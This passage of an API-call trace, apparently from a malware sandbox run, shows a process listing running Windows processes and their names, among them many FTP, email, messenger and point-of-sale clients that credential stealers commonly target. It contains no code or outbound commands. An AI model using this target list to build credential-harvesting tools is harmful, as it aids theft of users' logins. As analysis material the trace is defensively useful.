(lpString="wininit.exe") returned 11 [0055.391] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0055.392] lstrlenW (lpString="csrss.exe") returned 9 [0055.392] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0055.393] lstrlenW (lpString="winlogon.exe") returned 12 [0055.393] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0055.394] lstrlenW (lpString="services.exe") returned 12 [0055.394] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0055.397] lstrlenW (lpString="lsass.exe") returned 9 [0055.397] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0055.398] lstrlenW (lpString="lsm.exe") returned 7 [0055.398] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.399] lstrlenW (lpString="svchost.exe") returned 11 [0055.399] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.400] lstrlenW (lpString="svchost.exe") returned 11 [0055.400] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.401] lstrlenW (lpString="svchost.exe") returned 11 [0055.401] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.402] lstrlenW (lpString="svchost.exe") returned 11 [0055.402] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.403] lstrlenW (lpString="svchost.exe") returned 11 [0055.403] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0055.404] lstrlenW (lpString="audiodg.exe") returned 11 [0055.404] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.405] lstrlenW (lpString="svchost.exe") returned 11 [0055.405] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.406] lstrlenW (lpString="svchost.exe") returned 11 [0055.406] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0055.407] lstrlenW (lpString="dwm.exe") returned 7 [0055.407] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0055.408] lstrlenW (lpString="explorer.exe") returned 12 [0055.408] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0055.408] lstrlenW (lpString="spoolsv.exe") returned 11 [0055.408] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0055.409] lstrlenW (lpString="taskhost.exe") returned 12 [0055.409] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.860] lstrlenW (lpString="svchost.exe") returned 11 [0055.860] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0055.861] lstrlenW (lpString="taskeng.exe") returned 11 [0055.861] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0055.862] lstrlenW (lpString="taskhost.exe") returned 12 [0055.862] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.863] lstrlenW (lpString="svchost.exe") returned 11 [0055.863] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0055.864] lstrlenW (lpString="sppsvc.exe") returned 10 [0055.864] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.865] lstrlenW (lpString="svchost.exe") returned 11 [0055.865] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barrelsince.exe")) returned 1 [0055.866] lstrlenW (lpString="barrelsince.exe") returned 15 [0055.866] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="cricket.exe")) returned 1 [0055.867] lstrlenW (lpString="cricket.exe") returned 11 [0055.867] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="angelsalot.exe")) returned 1 [0055.868] lstrlenW (lpString="angelsalot.exe") returned 14 [0055.868] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bridge.exe")) returned 1 [0055.869] lstrlenW (lpString="bridge.exe") returned 10 [0055.869] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sh_shipping.exe")) returned 1 [0055.870] lstrlenW (lpString="sh_shipping.exe") returned 15 [0055.870] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="tobacco packet.exe")) returned 1 [0055.871] lstrlenW (lpString="tobacco packet.exe") returned 18 [0055.871] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pubscrashsatisfactory.exe")) returned 1 [0055.872] lstrlenW (lpString="pubscrashsatisfactory.exe") returned 25 [0055.872] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="confidentiality-lookup-going.exe")) returned 1 [0055.873] lstrlenW (lpString="confidentiality-lookup-going.exe") returned 32 [0055.873] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="widespread.exe")) returned 1 [0055.874] lstrlenW (lpString="widespread.exe") returned 14 [0055.874] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="silk priority recreational.exe")) returned 1 [0055.875] lstrlenW (lpString="silk priority recreational.exe") returned 30 [0055.875] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="zinc.exe")) returned 1 [0055.876] lstrlenW (lpString="zinc.exe") returned 8 [0055.876] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mainstream-footwear.exe")) returned 1 [0055.877] lstrlenW (lpString="mainstream-footwear.exe") returned 23 [0055.877] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="construction_rice.exe")) returned 1 [0055.878] lstrlenW (lpString="construction_rice.exe") returned 21 [0055.878] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mask.exe")) returned 1 [0055.879] lstrlenW (lpString="mask.exe") returned 8 [0055.879] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="rome_bool_pioneer.exe")) returned 1 [0055.880] lstrlenW (lpString="rome_bool_pioneer.exe") returned 21 [0055.880] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="owen_der_sequence.exe")) returned 1 [0055.881] lstrlenW (lpString="owen_der_sequence.exe") returned 21 [0055.881] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x858, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="curve standing.exe")) returned 1 [0055.882] lstrlenW (lpString="curve standing.exe") returned 18 [0055.882] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0055.883] lstrlenW (lpString="3dftp.exe") returned 9 [0055.883] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x878, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0055.884] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0055.884] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x888, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0055.885] lstrlenW (lpString="alftp.exe") returned 9 [0055.885] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x898, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0055.886] lstrlenW (lpString="barca.exe") returned 9 [0055.886] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0055.887] lstrlenW (lpString="bitkinex.exe") returned 12 [0055.887] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0055.888] lstrlenW (lpString="coreftp.exe") returned 11 [0055.888] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0055.889] lstrlenW (lpString="far.exe") returned 7 [0055.889] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0055.890] lstrlenW (lpString="filezilla.exe") returned 13 [0055.890] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0055.891] lstrlenW (lpString="flashfxp.exe") returned 12 [0055.891] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0055.892] lstrlenW (lpString="fling.exe") returned 9 [0055.892] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0055.893] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0055.893] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x920, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0056.143] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0056.143] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0056.144] lstrlenW (lpString="icq.exe") returned 7 [0056.144] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0056.146] lstrlenW (lpString="leechftp.exe") returned 12 [0056.146] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0056.147] lstrlenW (lpString="ncftp.exe") returned 9 [0056.147] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0056.149] lstrlenW (lpString="notepad.exe") returned 11 [0056.149] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0056.150] lstrlenW (lpString="operamail.exe") returned 13 [0056.151] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0056.152] lstrlenW (lpString="pidgin.exe") returned 10 [0056.152] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0056.153] lstrlenW (lpString="scriptftp.exe") returned 13 [0056.154] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0056.155] lstrlenW (lpString="skype.exe") returned 9 [0056.155] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0056.157] lstrlenW (lpString="smartftp.exe") returned 12 [0056.157] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0056.158] lstrlenW (lpString="thunderbird.exe") returned 15 [0056.158] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0056.160] lstrlenW (lpString="totalcmd.exe") returned 12 [0056.160] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0056.161] lstrlenW (lpString="trillian.exe") returned 12 [0056.161] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0056.162] lstrlenW (lpString="webdrive.exe") returned 12 [0056.163] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0056.164] lstrlenW (lpString="whatsapp.exe") returned 12 [0056.164] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0056.165] lstrlenW (lpString="winscp.exe") returned 10 [0056.165] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0056.167] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0056.167] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0056.169] lstrlenW (lpString="active-charge.exe") returned 17 [0056.169] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0056.170] lstrlenW (lpString="accupos.exe") returned 11 [0056.170] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0056.172] lstrlenW (lpString="afr38.exe") returned 9 [0056.172] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, 